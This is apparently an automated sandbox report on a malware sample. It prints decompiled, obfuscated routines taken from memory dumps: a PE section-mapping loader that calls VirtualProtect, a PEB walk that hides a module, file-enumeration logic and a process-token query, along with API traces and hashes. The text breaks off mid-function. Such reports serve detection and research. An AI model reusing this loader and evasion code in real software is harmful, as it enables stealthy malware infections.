0x02ca62b9
0x02ca62c6
0x02ca62c9
0x02ca62cd
0x02ca62e1
0x02ca62e9
0x02ca62ed
0x02ca62f3
0x02ca62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 02CA61CA
VirtualProtect.KERNELBASE(?,?), ref: 02CA6233

Memory Dump Source

Source File: 00000004.00000002.248505823.0000000002CA0000.00000040.00000001.sdmp, Offset: 02CA0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: 980d5b7e0038455ccf53689f430b845842ae425305190e5bf5d6e05be5a299b1
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: E241D172904604DFEB04DF20C9847ADBBFAEFC8705F1A846DDD888B249DB785540CB6A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02CA2DF5, Relevance: .1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E02CA2DF5(signed int __eax, signed int __ebx, void* __ecx, signed int __edx, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _t43;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;
				signed int _t60;
				void* _t63;
				signed int _t65;
				signed int _t78;
				signed int _t83;
				signed int _t85;
				signed int _t91;
				signed int _t101;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t117;
				signed int* _t118;

				_push(_t83);
				 *_t117 =  *_t117 - _t83;
				 *_t117 =  *_t117 ^ _t108;
				_t109 = _t117;
				_t118 = _t117 + 0xfffffff8;
				_push(_t109);
				 *_t118 =  *_t118 - _t109;
				 *_t118 = __eax;
				_push(_t109);
				 *_t118 =  *_t118 ^ _t109;
				 *_t118 =  *_t118 + __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_v8);
				 *_t118 =  *_t118 + __edx;
				_push(_v8);
				 *_t118 = _t83;
				_push(_t83);
				 *_t118 =  *_t118 & 0x00000000;
				 *_t118 =  *_t118 + __esi;
				if( *((intOrPtr*)(__ebx + 0x418137)) != 1) {
					_v12 = __eax;
					_t85 = _t83 & 0x00000000 | __eax ^ _v12 |  *(__ebx + 0x418024);
					_v8 = __ebx;
					_t43 = _v12 & 0x00000000 ^ (__ebx & 0x00000000 |  *(_t85 + 0x3c));
					_t60 = _v8;
					_v12 = _t43;
					_v8 = _v12;
					_t88 = 0 ^  *(_t60 + 0x4180f7);
					_t63 = _t60;
					_v12 = __edx & 0x00000000 ^ (_t43 & 0x00000000 |  *((intOrPtr*)(_t43 + _t85 + 0x28)) +  *(_t60 + 0x4180f7));
					_t52 =  *((intOrPtr*)((_v8 & 0x00000000 | _t60 & 0x00000000 |  *((0 ^  *(_t60 + 0x4180f7)) + 0x3c)) + _t88 + 0x28)) +  *((intOrPtr*)(_t63 + 0x4180f7));
					 *_t118 = _v12;
					_t78 = 0;
					_t101 =  *( *[fs:0x30] + 0xc);
					_push(0);
					 *_t118 = _t109;
					_t111 =  *(_t101 + 0xc);
					__eflags = _t111;
					_t65 = _t111;
					while(1) {
						_v12 = _t101;
						_t91 =  *(_t65 + 0x1c);
						_t101 = _v12;
						__eflags = _t52 - _t91;
						if(_t52 == _t91) {
							break;
						}
						__eflags = _t78 - _t91;
						if(__eflags != 0) {
							_t65 =  *(_t65 + 4);
							if(__eflags != 0) {
								continue;
							} else {
								 *((intOrPtr*)(_t63 + 0x418137)) = 1;
								_pop(_t53);
								return _t53;
							}
						} else {
							_pop(_t54);
							return _t54;
						}
						goto L9;
					}
					 *(_t65 + 0x1c) =  *(_t65 + 0x1c) & 0x00000000;
					_t34 = _t65 + 0x1c;
					 *_t34 =  *(_t65 + 0x1c) | _t91 & 0x00000000 ^ _t78;
					__eflags =  *_t34;
					_t55 = _t91;
					return _t55;
				} else {
					_pop(_t56);
					return _t56;
				}
				L9:
			}

0x02ca2df5
0x02ca2df6
0x02ca2df9
0x02ca2dfc
0x02ca2dfe
0x02ca2e01
0x02ca2e02
0x02ca2e05
0x02ca2e08
0x02ca2e09
0x02ca2e0c
0x02ca2e0f
0x02ca2e13
0x02ca2e16
0x02ca2e19
0x02ca2e1c
0x02ca2e1f
0x02ca2e20
0x02ca2e24
0x02ca2e2e
0x02ca2e39
0x02ca2e48
0x02ca2e4d
0x02ca2e59
0x02ca2e5b
0x02ca2e68
0x02ca2e78
0x02ca2e83
0x02ca2e94
0x02ca2e9f
0x02ca2ea6
0x02ca2ead
0x02ca2ebb
0x02ca2ebc
0x02ca2ebf
0x02ca2ec1
0x02ca2ec6
0x02ca2ec6
0x02ca2ec9
0x02ca2ecc
0x02ca2ecc
0x02ca2ed4
0x02ca2ed6
0x02ca2ed9
0x02ca2edb
0x00000000
0x00000000
0x02ca2ef4
0x02ca2ef6
0x02ca2f01
0x02ca2f04
0x00000000
0x02ca2f06
0x02ca2f06
0x02ca2f14
0x02ca2f16
0x02ca2f16
0x02ca2ef8
0x02ca2efc
0x02ca2efe
0x02ca2efe
0x00000000
0x02ca2ef6
0x02ca2ee3
0x02ca2ee7
0x02ca2ee7
0x02ca2ee7
0x02ca2eef
0x02ca2ef1
0x02ca2e30
0x02ca2e34
0x02ca2e36
0x02ca2e36
0x00000000

Memory Dump Source

Source File: 00000004.00000002.248505823.0000000002CA0000.00000040.00000001.sdmp, Offset: 02CA0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction ID: 25be40c3dc949b865dc3dec53dc400e3f10e0655f3eb39e84d7d00ee42ebf38b
Opcode Fuzzy Hash: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction Fuzzy Hash: 0C418D37A146049FEB00CF65D98179DFBF1EBC4325F26847EC984D7241DB34A9868BA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 68 Parent PID: 4904 rundll32.exeCOMMON

Executed Functions

Function 02D712D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E02D712D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x2d7d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x2d7d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x2d7d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x2d7d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x2d7d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x2d7d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x2d7d27c; // 0x23aa5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x2d7e7f2; // 0x73797325
				_t83 = E02D795B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x2d7d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x2d7d27c; // 0x23aa5a8
				_t16 = _t93 + 0x2d7e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x02d712dd
0x02d712e3
0x02d712e5
0x02d712ff
0x02d71303
0x02d71306
0x02d7157b
0x02d71582
0x02d71582
0x02d7130c
0x02d71321
0x02d71323
0x02d71327
0x02d7132a
0x02d7156b
0x02d71575
0x00000000
0x02d71575
0x02d71330
0x02d7133b
0x02d71340
0x02d71345
0x02d71348
0x02d7134f
0x02d71356
0x02d71359
0x02d7155b
0x02d71565
0x00000000
0x02d71565
0x02d7136f
0x02d71373
0x02d71376
0x02d71379
0x02d71381
0x02d71384
0x02d7138d
0x02d71393
0x02d7139d
0x02d713a4
0x02d713a4
0x02d713b6
0x02d713c1
0x02d713cf
0x02d713d4
0x02d713d9
0x02d713dc
0x02d713e1
0x02d713eb
0x02d713ee
0x02d713f1
0x02d71407
0x02d7140b
0x02d7140e
0x02d71559
0x00000000
0x02d71559
0x02d71425
0x02d71476
0x02d71439
0x02d71441
0x02d71446
0x02d71454
0x02d7145d
0x02d71466
0x02d71466
0x02d71474
0x02d71474
0x02d7147a
0x02d7147e
0x02d7147e
0x02d71484
0x00000000
0x00000000
0x02d71486
0x02d7148c
0x02d71533
0x02d71536
0x02d71543
0x02d71543
0x02d71547
0x00000000
0x00000000
0x02d7153c
0x02d71540
0x02d71540
0x02d71542
0x02d71542
0x02d7154c
0x02d71553
0x02d71555
0x00000000
0x02d71555
0x02d71492
0x02d71494
0x02d71494
0x02d714a7
0x02d714ad
0x02d714b8
0x02d714ba
0x02d714be
0x02d714c0
0x02d714c0
0x02d714c5
0x02d714c7
0x02d714c7
0x02d714c5
0x02d714cc
0x02d714d0
0x02d714d0
0x02d714e0
0x02d714e5
0x02d714e8
0x02d714e8
0x02d714eb
0x02d714f5
0x02d714fd
0x02d71502
0x02d71510
0x02d71510
0x02d71524
0x02d71528
0x02d71528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 02D712FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02D71321
memset.NTDLL ref: 02D7133B

Part of subcall function 02D795B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,02D723E9,63699BCE,02D71354,73797325), ref: 02D795C2
Part of subcall function 02D795B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02D795DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02D71379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 02D7138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 02D713A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 02D713B0
lstrcat.KERNEL32(?,642E2A5C), ref: 02D713F1
FindFirstFileA.KERNELBASE(?,?), ref: 02D71407
CompareFileTime.KERNEL32(?,?), ref: 02D71425
FindNextFileA.KERNELBASE(02D796C1,?), ref: 02D71439
FindClose.KERNEL32(02D796C1), ref: 02D71446
FindFirstFileA.KERNEL32(?,?), ref: 02D71452
CompareFileTime.KERNEL32(?,?), ref: 02D71474
StrChrA.SHLWAPI(?,0000002E), ref: 02D714A7
memcpy.NTDLL(00000000,?,00000000), ref: 02D714E0
FindNextFileA.KERNELBASE(02D796C1,?), ref: 02D714F5
FindClose.KERNEL32(02D796C1), ref: 02D71502
FindFirstFileA.KERNEL32(?,?), ref: 02D7150E
CompareFileTime.KERNEL32(?,?), ref: 02D7151E
FindClose.KERNELBASE(02D796C1), ref: 02D71553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 02D71565
HeapFree.KERNEL32(00000000,?), ref: 02D71575

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: 38a29753d9817fb7be0878d723377f1da3d4a47f58b0cc39f7e3683c85bfafa1
Instruction ID: 2d9e6a20b0be7f901ae21c03265a8ca44b2b90f52c4d6caa5481d8a2754b573e
Opcode Fuzzy Hash: 38a29753d9817fb7be0878d723377f1da3d4a47f58b0cc39f7e3683c85bfafa1
Instruction Fuzzy Hash: 8B8118B1D00119AFDF119FA5DC44AEEBBB9FF48304F10466AE505E6250E7389E55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D783B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E02D783B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E02D72049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E02D79039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x02d783c4
0x02d783c5
0x02d783c6
0x02d783c7
0x02d783c8
0x02d783cc
0x02d783d3
0x02d783e2
0x02d783e5
0x02d783e8
0x02d783ef
0x02d783f2
0x02d783f5
0x02d783f8
0x02d783fb
0x02d78406
0x02d78408
0x02d78411
0x02d78419
0x02d7841b
0x02d7842d
0x02d78437
0x02d7843b
0x02d7844a
0x02d7844e
0x02d78457
0x02d7845f
0x02d7845f
0x02d78461
0x02d78461
0x02d78469
0x02d7846f
0x02d78473
0x02d78473
0x02d7847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 02D783FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 02D78411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02D7842D

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02D7844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 02D78457
NtClose.NTDLL(?), ref: 02D78469
NtClose.NTDLL(00000000), ref: 02D78473

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 3b86b9dbd68f006000b303609d1fa2db30d80e0eeee0bac4d8a0968fb84b96ec
Instruction ID: ab014ef312f7c7f2212d5bc0ea6c02f010b45431037f126c90f826de5491e9a1
Opcode Fuzzy Hash: 3b86b9dbd68f006000b303609d1fa2db30d80e0eeee0bac4d8a0968fb84b96ec
Instruction Fuzzy Hash: 84210772950118BFDB119FA5CC45ADEBFBEEB18744F104026F901E6210E7B59E54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02CD348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E02CD348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
